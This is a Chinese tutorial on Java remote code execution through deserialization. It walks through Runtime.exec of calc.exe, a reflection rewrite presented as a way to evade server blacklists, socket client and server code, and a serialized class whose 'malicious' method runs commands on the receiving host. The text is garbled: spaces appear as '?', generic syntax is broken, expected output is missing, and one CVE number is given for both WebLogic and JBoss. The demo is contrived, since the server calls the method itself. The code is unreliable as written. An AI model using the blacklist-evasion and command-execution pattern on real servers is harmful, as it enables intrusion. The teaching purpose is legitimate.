主要有3個部分組成:
1、Java的反省機制
2、Java的序列化處理
3、Java的遠程代碼執行
Java的反射與代碼執行
立即學習“Java免費學習筆記(深入)”;
我們先看個簡單的例子,使用Java調用計算器程序:
import?java.io.IOException; import?java.lang.Runtime; public?class?Test?{ ????public?static?void?main(String[]?args)?{ ????????Runtime?env?=?Runtime.getRuntime(); ????????String?cmd?=?"calc.exe";???????? ????try?{ ????????????env.exec(cmd); ????????}?catch?(IOException?e)?{ ????????????e.printStackTrace(); ????????} ????} }
我們從java.lang包中導入Runtime類,之后調用其getRuntime方法得到1個Runtime對象,該對象可以用于JVM虛擬機運行狀態的處理。接著我們調用其exec方法,傳入1個字符串作為參數。
此時,將啟動本地計算機上的計算器程序。
下面我們通過Java的反省機制對上述的代碼進行重寫。通過Java的反省機制可以動態的調用代碼,而逃過一些服務端黑名單的處理:
import?java.lang.reflect.InvocationTargetException; import?java.lang.reflect.Method; public?class?Test?{ ????public?static?void?main(String[]?args)?{ ????????try?{ ????????????Class>?cls?=?Class.forName("java.lang.Runtime");???????????? ????????????String?cmd?=?"calc.exe"; ????????????try?{ ????????????????Method?getRuntime?=?cls.getMethod("getRuntime",?new?Class[]?{});???????????????? ????????????????Object?runtime?=?getRuntime.invoke(null); ????????????????Method?exec?=?cls.getMethod("exec",?String.class); ????????????????exec.invoke(runtime,?cmd); ????????????}?catch?(NoSuchMethodException?e)?{ ????????????????e.printStackTrace(); ????????????}?catch?(SecurityException?e)?{ ????????????????e.printStackTrace(); ????????????}?catch?(IllegalAccessException?e)?{ ????????????????e.printStackTrace(); ????????????}?catch?(IllegalArgumentException?e)?{ ????????????????e.printStackTrace(); ????????????}?catch?(InvocationTargetException?e)?{ ????????????????e.printStackTrace(); ????????????} ????????}?catch?(ClassNotFoundException?e1)?{ ????????????e1.printStackTrace(); ????????} ????} }
上述代碼看起來很繁瑣,實際上并不是很難。首先,通過Class.forName傳入1個字符串作為參數,其返回1個Class的實例。而其作用是根據對應的名稱找到對應的類。
接著我們使用Class實例的getMethod方法獲取對應類的getRuntime方法,由于該類沒有參數,因此可以將其設置為null或使用匿名類來處理。
Method?getRuntime?=?cls.getMethod("getRuntime",?new?Class[]?{});
之后通過得到的方法的實例的invoke方法調用對應的類方法,由于沒有參數則傳入null即可。同理,我們再獲取到exec方法。
Java序列化處理
對于Java中的序列化處理,對應的類需要實現Serializable接口,例如:
import?java.io.Serializable; import?java.io.ObjectInputStream; import?java.io.ObjectOutputStream; import?java.io.ByteArrayInputStream; import?java.io.ByteArrayOutputStream; import?java.io.IOException; public?class?Reader?implements?Serializable?{ ????private?static?final?long?serialVersionUID?=?10L;???? ????private?void?readObject(ObjectInputStream?stream)?{ ????????System.out.println("foo...bar..."); ????}????public?static?byte[]?serialize(Object?obj)?{????????//序列化對象 ????????ByteArrayOutputStream?out?=?new?ByteArrayOutputStream(); ????????ObjectOutputStream?output?=?null;???????? ????try?{ ????????????output?=?new?ObjectOutputStream(out); ????????????output.writeObject(obj); ????????????output.flush(); ????????????output.close(); ????????}?catch?(IOException?e)?{ ????????????e.printStackTrace(); ????????}????????return?out.toByteArray(); ????}????public?static?Object?deserialize(byte[]?bytes)?{????????//反序列化處理 ????????ByteArrayInputStream?in?=?new?ByteArrayInputStream(bytes); ????????ObjectInputStream?input; ????????Object?obj?=?null;???????? ????try?{ ????????????input?=?new?ObjectInputStream(in); ????????????obj?=?input.readObject(); ????????}?catch?(IOException?e)?{ ????????????e.printStackTrace(); ????????}?catch?(ClassNotFoundException?e)?{ ????????????e.printStackTrace(); ????????}????????return?obj; ????}???? ????public?static?void?main(String[]?args)?{???????? ????byte[]?data?=?serialize(new?Reader());?//對類自身進行序列化 ????????Object?response?=?deserialize(data); ????????System.out.println(response); ????} }
在這里我們重寫了該類的readObject方法,用于讀取對象用于測試。其中比較重要的2個函數是serialize和deserialize,分別用于序列化和反序列化處理。
其中,serialize方法需要傳入1個對象作為參數,其輸出結果為1個字節數組。在該類中,其中的對象輸出流ObjectOutputStream主要用于ByteArrayOutputStream進行包裝,之后使用其writeObject方法將對象寫入進去,最后我們通過ByteArrayOutputStream實例的toByteArray方法得到字節數組。
而在deserialize方法中,需要傳入1個字節數組,而返回值為1個Object對象。與之前的序列化serialize函數類似,此時我們使用ByteArrayInputStream接收字節數組,之后使用ObjectInputStream對ByteArrayInputStream進行包裝,接著調用其readObject方法得到1個Object對象,并將其返回。
當我們運行該類時,將得到如下的結果:
Java遠程通信與傳輸
為了實現Java代碼的遠程傳輸及遠程代碼執行,我們可以借助RMI、RPC等方式。而在這里我們使用Socket進行服務端及客戶端處理。
首先是服務器端,監聽本地的8888端口,其代碼為:
import?java.net.Socket; import?java.io.IOException; import?java.io.InputStream; import?java.net.ServerSocket; public?class?Server?{ ????public?static?void?main(String[]?args)?throws?ClassNotFoundException?{???????? ????int?port?=?8888;???????? ????try?{ ????????????ServerSocket?server?=?new?ServerSocket(port); ????????????System.out.println("Server?is?waiting?for?connect"); ????????????Socket?socket?=?server.accept(); ????????????InputStream?input?=?socket.getInputStream();???????????? ????????????byte[]?bytes?=?new?byte[1024]; ????????????int?length?=?0;???????????? ????????????while((length=input.read(bytes))!=-1)?{ ????????????????String?out?=?new?String(bytes,?0,?length,?"UTF-8"); ????????????????System.out.println(out); ????????????} ????????????input.close(); ????????????socket.close(); ????????????server.close(); ????????}?catch?(IOException?e)?{ ????????????e.printStackTrace(); ????????} ????} }
我們通過傳入1個端口來實例化ServerSocket類,此時得到1個服務器的socket,之后調用其accept方法接收客戶端的請求。此時,得到了1個socket對象,而通過socket對象的getInputStream方法獲取輸入流,并指定1個長度為1024的字節數組。
接著調用socket的read方法讀取那么指定長度的字節序列,之后通過String構造器將字節數組轉換為字符串并輸出。這樣我們就得到了客戶端傳輸的內容。
而對于客戶端器,其代碼類似如下:
import?java.io.IOException; import?java.net.Socket; import?java.io.OutputStream; public?class?Client?{ ????public?static?void?main(String[]?args)?{ ????????String?host?=?"192.168.1.108";???????? ????????int?port?=?8888; ????????try?{ ????????????Socket?socket?=?new?Socket(host,?port); ????????????OutputStream?output?=?socket.getOutputStream(); ????????????String?message?=?"Hello,Java?Socket?Server"; ????????????output.write(message.getBytes("UTF-8")); ????????????output.close(); ????????????socket.close(); ????????}?catch?(IOException?e)?{ ????????????e.printStackTrace(); ????????} ????} }
在客戶端,我們通過Socket對象傳遞要連接的IP地址和端口,之后通過socket對象的getOutputStream方法獲取到輸出流,用于往服務器端發送輸出。由于這里只是演示,使用的是本地的主機IP。而在實際應用中,如果我們知道某個外網主機的IP及開放的端口,如果當前主機存在對應的漏洞,也是可以利用類似的方式來實現的。
這里我們設置要傳輸的內容為UTF-8編碼的字符串,俄日在輸出流的write方法中通過字符串的getBytes指定其編碼,從而將其轉換為對應的字節數組進行發送。
正常情況下,我們運行服務器后再運行客戶端,在服務器端可以得到如下輸出:
Server?is?waiting?for?connect Hello,Java?Socket?Server
Java反序列化與遠程代碼執行
下面我們通過Java反序列化的問題來實現遠程代碼執行,為了實現遠程代碼執行,我們首先在Reader類中添加1個malicious方法,其代碼為:
public?Object?malicious()?throws?IOException?{ ????????Runtime.getRuntime().exec("calc.exe"); ????????System.out.println("Hacked?the?Server...");???????? ????????return?this; ????}
在該方法中我們使用之前的介紹調用宿主機器上的計算器程序,然后輸出1個相關信息,最后返回當前類。
之后是對服務器端的代碼進行如下的修改:
while((length=input.read(bytes))!=-1)?{ ????Reader?obj?=?(Reader)?Reader.deserialize(bytes); ????obj.malicious(); }
我們在接收到客戶端對應的字符串后對其進行反序列處理,之后調用某個指定的函數,從而實現遠程代碼的執行。而在客戶端,我們需要對其進行序列化處理:
Reader?reader?=?new?Reader(); byte[]?bytes?=?Reader.serialize(reader); String?message?=?new?String(bytes); output.write(message.getBytes());
下面我們在宿主機器上運行服務器端程序,之后在本地機器上運行客戶端程序,當客戶端程序執行時,可以看到類似如下的結果:
可以看到,我們成功的在宿主機器上執行了對應的命令執行。
總結
為了實現通過Java的反序列問題來實現遠程代碼執行的漏洞,我們需要編寫1個有惡意代碼注入的序列化類。之后在客戶端將惡意代碼序列化后發送給服務器端,而服務器端需要調用我們期望的方法,從而觸發遠程代碼執行。
為了避免服務器端進行一些安全處理,我們可以采用反射的方式來逃逸其處理。
這里只是1個簡化的過程,更加實用的過程可以參考Apache Common Collections的問題導致的Weblogic漏洞CVE-2015-4852及Jboss的漏洞CVE-2015-4852。
推薦相關文章教程:CVE-2015-4852